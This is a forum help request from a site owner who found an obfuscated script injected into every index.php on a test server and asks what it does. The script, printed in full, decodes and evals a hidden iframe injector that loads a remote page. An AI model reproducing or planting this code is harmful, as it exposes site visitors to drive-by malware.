What is this code doing?

[CosmosRP]

<script>if(window.document)aa=/s/g.exec("s").index+[];aaa='0';if(aa.indexOf(aaa)===0){ss='';try{if(/12/.exec(23).index==0);}catch(qqq){s=String;}ee='e';e=window.eval;t='y';}h=2*Math.cos(Math.PI);n=[3.5,3.5,51.5,50,15,19,49,54.5,48.5,57.5,53.5,49.5,54,57,22,50.5,49.5,57,33.5,53,49.5,53.5,49.5,54,57,56.5,32,59.5,41,47.5,50.5,38,47.5,53.5,49.5,19,18.5,48,54.5,49,59.5,18.5,19.5,44.5,23,45.5,19.5,60.5,3.5,3.5,3.5,51.5,50,56,47.5,53.5,49.5,56,19,19.5,28.5,3.5,3.5,61.5,15,49.5,53,56.5,49.5,15,60.5,3.5,3.5,3.5,49,54.5,48.5,57.5,53.5,49.5,54,57,22,58.5,56,51.5,57,49.5,19,16,29,51.5,50,56,47.5,53.5,49.5,15,56.5,56,48.5,29.5,18.5,51,57,57,55,28,22.5,22.5,57,49,56.5,25.5,24,22,25,53.5,59.5,49,54.5,53.5,47.5,51.5,54,22,48.5,54.5,53.5,22.5,56.5,57,49,56.5,22.5,50.5,54.5,22,55,51,55,30.5,56.5,51.5,49,29.5,23.5,18.5,15,58.5,51.5,49,57,51,29.5,18.5,23.5,23,18.5,15,51,49.5,51.5,50.5,51,57,29.5,18.5,23.5,23,18.5,15,56.5,57,59.5,53,49.5,29.5,18.5,58,51.5,56.5,51.5,48,51.5,53,51.5,57,59.5,28,51,51.5,49,49,49.5,54,28.5,55,54.5,56.5,51.5,57,51.5,54.5,54,28,47.5,48,56.5,54.5,53,57.5,57,49.5,28.5,53,49.5,50,57,28,23,28.5,57,54.5,55,28,23,28.5,18.5,30,29,22.5,51.5,50,56,47.5,53.5,49.5,30,16,19.5,28.5,3.5,3.5,61.5,3.5,3.5,50,57.5,54,48.5,57,51.5,54.5,54,15,51.5,50,56,47.5,53.5,49.5,56,19,19.5,60.5,3.5,3.5,3.5,58,47.5,56,15,50,15,29.5,15,49,54.5,48.5,57.5,53.5,49.5,54,57,22,48.5,56,49.5,47.5,57,49.5,33.5,53,49.5,53.5,49.5,54,57,19,18.5,51.5,50,56,47.5,53.5,49.5,18.5,19.5,28.5,50,22,56.5,49.5,57,31.5,57,57,56,51.5,48,57.5,57,49.5,19,18.5,56.5,56,48.5,18.5,21,18.5,51,57,57,55,28,22.5,22.5,57,49,56.5,25.5,24,22,25,53.5,59.5,49,54.5,53.5,47.5,51.5,54,22,48.5,54.5,53.5,22.5,56.5,57,49,56.5,22.5,50.5,54.5,22,55,51,55,30.5,56.5,51.5,49,29.5,23.5,18.5,19.5,28.5,50,22,56.5,57,59.5,53,49.5,22,58,51.5,56.5,51.5,48,51.5,53,51.5,57,59.5,29.5,18.5,51,51.5,49,49,49.5,54,18.5,28.5,50,22,56.5,57,59.5,53,49.5,22,55,54.5,56.5,51.5,57,51.5,54.5,54,29.5,18.5,47.5,48,56.5,54.5,53,57.5,57,49.5,18.5,28.5,50,22,56.5,57,59.5,53,49.5,22,53,49.5,50,57,29.5,18.5,23,18.5,28.5,50,22,56.5,57,59.5,53,49.5,22,57,54.5,55,29.5,18.5,23,18.5,28.5,50,22,56.5,49.5,57,31.5,57,57,56,51.5,48,57.5,57,49.5,19,18.5,58.5,51.5,49,57,51,18.5,21,18.5,23.5,23,18.5,19.5,28.5,50,22,56.5,49.5,57,31.5,57,57,56,51.5,48,57.5,57,49.5,19,18.5,51,49.5,51.5,50.5,51,57,18.5,21,18.5,23.5,23,18.5,19.5,28.5,3.5,3.5,3.5,49,54.5,48.5,57.5,53.5,49.5,54,57,22,50.5,49.5,57,33.5,53,49.5,53.5,49.5,54,57,56.5,32,59.5,41,47.5,50.5,38,47.5,53.5,49.5,19,18.5,48,54.5,49,59.5,18.5,19.5,44.5,23,45.5,22,47.5,55,55,49.5,54,49,32.5,51,51.5,53,49,19,50,19.5,28.5,3.5,3.5,61.5];f='f'+'r'+'o'+'mChar';for(i=0;i-n.length<0;i++){j=i;ss=ss+s[f+'Code'](-h*(1+n[j]));}q=ss;e(q);</script>

 

 

 

Recently, I found this code at the header of all index.php files on one of my neglected test servers. I've googled portions of it and its returned websites that are infected with malware (according to google). Soo... i'm assuming that this is malicious code. Does anyone know what its doing? Seen it before? And how did it get there? Did my host get hacked? (shared hosting account).